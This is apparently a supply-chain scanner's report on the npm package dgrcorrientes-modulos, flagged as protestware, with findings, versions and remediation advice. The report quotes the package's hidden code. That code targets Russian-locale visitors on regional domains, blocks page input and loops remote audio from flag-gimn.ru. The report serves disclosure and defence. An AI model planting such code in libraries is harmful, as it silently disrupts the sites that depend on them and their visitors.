registry / Protestware / dgrcorrientes-modulos

dgrcorrientes-modulos

Un paquete de componentes minimizado

This report shows the evidence for dgrcorrientes-modulos@1.0.201. 3 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 24d ago · by lpm-firewall-ai

This is concrete, selective website disruption executed on import, not a component-library feature. The remote audio and input blocking establish active protestware behavior.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing the main bundle in a browser with a Russian-language setting on a matching regional domain; activation occurs after the stored timestamp is more than three days old.

Impact

Affected visitors can lose normal pointer interaction and receive unwanted remote audio playback.

Mechanism

Top-level code checks browser locale and host, persists a timestamp in local storage, sets the document body pointer-events to none, appends an audio element, and starts remote audio playback.

Attack narrative

When the bundle is imported by qualifying sites, hidden conditional code tracks a local timestamp. After three days, it blocks pointer interaction across the page and plays a looping audio file fetched from an unrelated remote host. The same behavior is present in the UMD distribution.

AI rationale

This is concrete, selective website disruption executed on import, not a component-library feature. The remote audio and input blocking establish active protestware behavior.

Evidence

components.jscomponents.umd.cjs

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest routes both main and module imports to components.js.
The import-time bundle targets Russian-language users on specified regional domains, then disables page pointer input and injects looping remote audio after a stored delay.
The distributed UMD bundle contains the same conditional disruptive audio behavior.

Evidence against

Behavioral surface

Source

EnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTelemetryUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.95 MB of source, external domains: flag-gimn.ru, github.com, reactjs.org, sweetalert2.github.io, www.w3.org

Source & flagged code

6 flagged

components.jsView file

•pointerevents: "pointerEvents",

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

components.jsView on unpkg

•Trigger-reachable chain: manifest.main -> components.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

components.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = a7a716e23cc66387 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = dgrcorrientes-modulos@1.0.200 matchedPath = components.js matchedIdentity = npm:ZGdyY29ycmllbnRlcy1tb2R1bG9z:1.0.200 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

components.jsView on unpkg

30182if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const b = new Date(), C = localStorage.getItem("swal-initiation"); C ? (b.getTime() - Date.parse(C)) / (1e3 * 60 * 60 * 24) > 3 && setTimeout(() => { document.body.style.pointerEvents = "none"; const O = document.createElement("audio"); O.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", O.loop = !0, document.body.appendChild(O), setTimeout(() => { O.play()

High

Ai Review Evidence

The import-time bundle targets Russian-language users on specified regional domains, then disables page pointer input and injects looping remote audio after a stored delay.

components.jsView on unpkg · L30182

30017const he = z.getAttribute("name"), it = z.getAttribute("value"); L30018: C[he] = new Function("return ".concat(it))(); L30019: }), C;

Low

Eval

Package source references a known benign dynamic code generation pattern.

components.jsView on unpkg · L30017

package.jsonView file

Lines 1-18json

2 "name": "dgrcorrientes-modulos",

3 "version": "1.0.201",

4 "description": "Un paquete de componentes minimizado",

5 "main": "components.js",

Source & flagged code

6 flagged · loading source

components.jsView file

•pointerevents: "pointerEvents",

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

components.jsView on unpkg

•Trigger-reachable chain: manifest.main -> components.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

components.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

components.js

Findings

2 Critical3 High3 Medium4 Low

CriticalTargeted Browser Disruption Protestwarecomponents.js

CriticalTrigger Reachable Dangerous Capabilitycomponents.js

HighKnown Malware Source Fingerprint Signaturecomponents.js

HighAi Review Evidencepackage.json

HighAi Review Evidencecomponents.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowEvalcomponents.js

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings

Affected versions and remediation

This report applies to dgrcorrientes-modulos@1.0.201.

The versions list below shows the verdict for each recorded version.

Avoid installing dgrcorrientes-modulos@1.0.201. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-28 20:35:12.070Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

1.0.201latestshownMaliciousProtestwareBlockPublishedSep 28, 2026, 3:27 PM 1.0.200MaliciousProtestwareBlockPublishedSep 23, 2026, 7:48 PM 1.0.199MaliciousProtestwareBlockPublishedSep 8, 2026, 12:54 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other protestware packages

Related packages

Other protestware packages

Source & flagged code